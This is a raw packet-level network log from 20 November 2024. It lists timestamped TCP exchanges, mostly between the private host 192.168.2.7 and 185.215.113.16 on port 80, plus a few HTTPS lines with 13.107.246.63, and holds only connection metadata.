Nov 20, 2024 17:41:46.603763103 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.603801966 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.603816032 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.604767084 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.605065107 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.606031895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.606085062 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.607074976 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.607182980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.607194901 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.607225895 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.607239008 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.608256102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.608912945 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.608966112 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.609406948 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.609602928 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.609649897 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.610573053 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.611076117 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.611757994 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.611809969 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.611890078 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.612909079 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.612961054 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.612987995 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.614031076 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.614090919 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.615235090 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.615247011 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.615293980 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.615319014 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.616348982 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.616400957 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.616485119 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.617523909 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.617577076 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.617619038 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.618148088 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.618700027 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.618791103 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.618839979 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.619815111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.620609999 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.620671988 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.621020079 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.621197939 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.622102022 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.622159958 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.622278929 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.622339010 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.623302937 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.623517990 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.623564959 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.624455929 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.624614954 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.625725985 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.625741959 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.625780106 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.626851082 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.627438068 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.627958059 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.628009081 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.628768921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.628814936 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.629143000 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.629364967 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.629419088 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.630228043 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.630470037 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.630512953 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.631423950 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.631706953 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.631769896 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.632558107 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.632827997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.632926941 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.633734941 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.633908987 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.633956909 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.634902000 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.634954929 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.635102034 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.636149883 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.636312962 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.636370897 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.637224913 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.637375116 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.637423992 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.638401031 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.638864994 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.639005899 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.639506102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.640003920 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.640088081 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.640665054 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.640753984 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.640821934 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.641846895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.641983986 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.642034054 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.642995119 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.643471956 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.643512964 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.644167900 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.644330025 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.644967079 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.645303965 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.645397902 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.645443916 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.646478891 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.646580935 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.646644115 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.647694111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.648932934 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.648946047 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.648988962 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.649044037 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.649286032 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.650007010 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.650018930 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.650073051 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.651145935 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.651192904 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.651267052 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.652277946 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.652960062 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.653017998 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.654608011 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.693804979 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.785269022 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.785466909 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.785572052 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.785809040 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.785871029 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.785928965 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.787038088 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.787357092 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.787403107 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.788130999 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.788290977 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.788336039 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.789340019 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.789547920 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.789597988 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.790433884 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.791079044 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.791182995 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.791593075 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.791706085 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.791852951 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.793011904 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.793222904 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.793265104 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.794043064 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.794709921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.795094967 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.795140028 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.795471907 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.796228886 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.796272039 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.796283007 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.796323061 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.797430992 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.797560930 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.797606945 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.798563957 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.798949957 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.798995972 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.799698114 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.800487041 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.800580978 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.800864935 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.801103115 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.801177025 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.802069902 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.802123070 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.802166939 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.803159952 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.803400993 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.803452015 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.804332972 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.804502010 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.804585934 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.805490017 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.805918932 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.805968046 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.806704044 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.806955099 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.807003021 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.807832003 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.809030056 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.809075117 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.809089899 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.809103012 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.809142113 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.810151100 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.810427904 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.810477018 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.811300039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.811389923 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.811431885 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.812478065 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.812563896 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.812612057 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.813698053 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.813849926 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.813899994 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.814821959 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.814956903 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.814997911 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.815943956 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.816010952 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.816051006 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.817131042 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.817203045 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.817245960 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.818278074 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.818291903 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.818330050 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.819380045 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.819823980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.819865942 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.820555925 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.821219921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.821381092 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.821695089 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.821825981 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.821868896 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.822869062 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.823425055 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.823471069 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.824040890 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.824357033 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.824400902 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.825280905 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.825357914 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.825417042 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.826358080 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.826991081 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.827533960 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.827584982 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.827896118 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.827939034 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.828717947 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.828916073 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.828955889 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.829896927 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.830373049 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.830413103 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.830995083 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.831443071 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.831501007 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.832180977 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.832319975 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.832389116 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.833293915 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.833434105 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.833472013 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.834450960 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.834588051 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.834636927 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.835613012 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.835997105 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.836112022 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.836774111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.836976051 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.837095976 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.855159998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.855215073 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.855272055 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.855681896 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.856370926 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.856415987 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.856823921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.856944084 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.857466936 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.857991934 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.858592033 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.858638048 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.859141111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.859224081 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.859261036 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.860312939 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.860404015 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.860449076 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.861486912 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.861814976 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.861851931 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.862565994 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.869626999 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:46.871665001 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:46.871690035 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:46.872131109 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:46.872138023 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:46.907495022 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.921494961 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:46.922089100 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:46.922101021 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:46.922599077 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:46.922604084 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:46.976979971 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.977066994 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.977133989 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.977571964 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.977705002 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.977752924 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.978760004 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.978849888 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.979908943 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.979968071 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.980068922 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.981125116 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.981179953 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.981180906 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.982259989 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.982311010 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.982388973 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.983360052 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.983412027 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.984098911 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.984149933 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.984561920 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.984771013 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.984827042 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.985698938 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.985902071 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.985949993 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.986869097 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.987049103 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.987092018 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.988058090 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.988284111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.988357067 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.989157915 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.989450932 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.989592075 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:46.990336895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.990663052 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:46.990715981 CET	49758	80	192.168.2.7	185.215.113.16
